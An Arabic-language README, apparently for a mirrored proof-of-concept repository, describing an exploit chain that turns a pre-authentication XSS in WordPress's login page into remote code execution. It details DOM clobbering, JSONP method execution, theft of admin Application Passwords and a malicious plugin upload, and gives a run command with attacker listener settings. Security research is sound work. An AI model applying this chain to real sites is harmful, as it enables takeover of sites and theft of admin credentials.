
إثبات مفهوم لاستغلال ثغرة XSS قبل المصادقة في ووردبريس للوصول إلى تنفيذ الأكواد عن بُعد (RCE) عبر تقنية DOM clobbering وإساءة استخدام REST API ورفع إضافة خبيثة للتنفيذ من جانب الخادم. للاختبار المصرح به فقط.
صورة توزيع من HackSpeak. هذا المستودع هو مرآة توزيع للـ PoC التعليمي XSS2Shell (CVE-2026-64638) الصادر عن WordSec، والكود مطابق للمستودع الأصلي؛ المستودع الأصلي يحمل MIT License، حقوق النشر (c) 2026 WordSec.
⚠️ للاستخدام في البحث الأمني والاختبار المصرَّح به فقط — لا يجوز تشغيله إلا على مواقع WordPress التي تملكها أو لديك تفويض كتابي لتقييمها؛ يعمل الـ PoC على إنشاء منشورات مؤقتة ثم تنظيفها، فلا تستخدمه ضد مسؤولي أطراف ثالثة أو أنظمة الإنتاج.
XSS2Shell (CVE-2026-64638) هي ثغرة XSS انعكاسية ما قبل المصادقة في صفحة تسجيل دخول WordPress (wp-login.php)، ويمكن تصعيدها عبر سلسلة كاملة إلى تنفيذ كود PHP على الخادم (RCE).
strip_tags() في PHP ونظام KSES في WordPress (wp_kses_post()) — عند إدراج مسافة بين < واسم الوسم (مثل < area)، تتعامل الأولى معها كنص عادي وتبقيها، بينما تحللها الثانية كعنصر HTML صالح (<area>/<div>/<button> جميعها ضمن القائمة المسموح بها)؛ajaxurl عبر DOM Clobbering → ملف user-profile.js المضمّن في صفحة تسجيل الدخول يطلق تلقائيًا طلب jQuery POST → REST API JSONP (_jsonp) → Same Origin Method Execution (SOME، Paulos Yibelo 2022) → النقر عبر النوافذ على زر تفويض "Application Password" الخاص بالمسؤول → سرقة بيانات اعتماد API → نشر صفحة تحتوي على <script> → رفع حزمة إضافة (ZIP) خبيثة → تنفيذ PHP مباشرة (دون الحاجة إلى تفعيلها)؛python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
| المعامل |
|---|
المتطلبات: Python 3.7+، دون أي حزم من طرف ثالث؛ يتطلب تسجيل دخول المسؤول إلى الموقع المستهدف وفتح رابط المهاجم (تفاعل واحد).
| الوصف |
|---|
-t, --target | العنوان الأساسي لـ WordPress (يشمل http/https، مع تسوية تلقائية لشرطة النهاية المائلة) |
-c, --command | الأمر المراد تنفيذه بعد أن تصبح القشرة (shell) جاهزة |
--lhost / --lport | عنوان/منفذ الاستماع (lport 0 = عشوائي) |
--keep | الاحتفاظ بصفحة النشر المؤقتة (يتم التنظيف افتراضيًا) |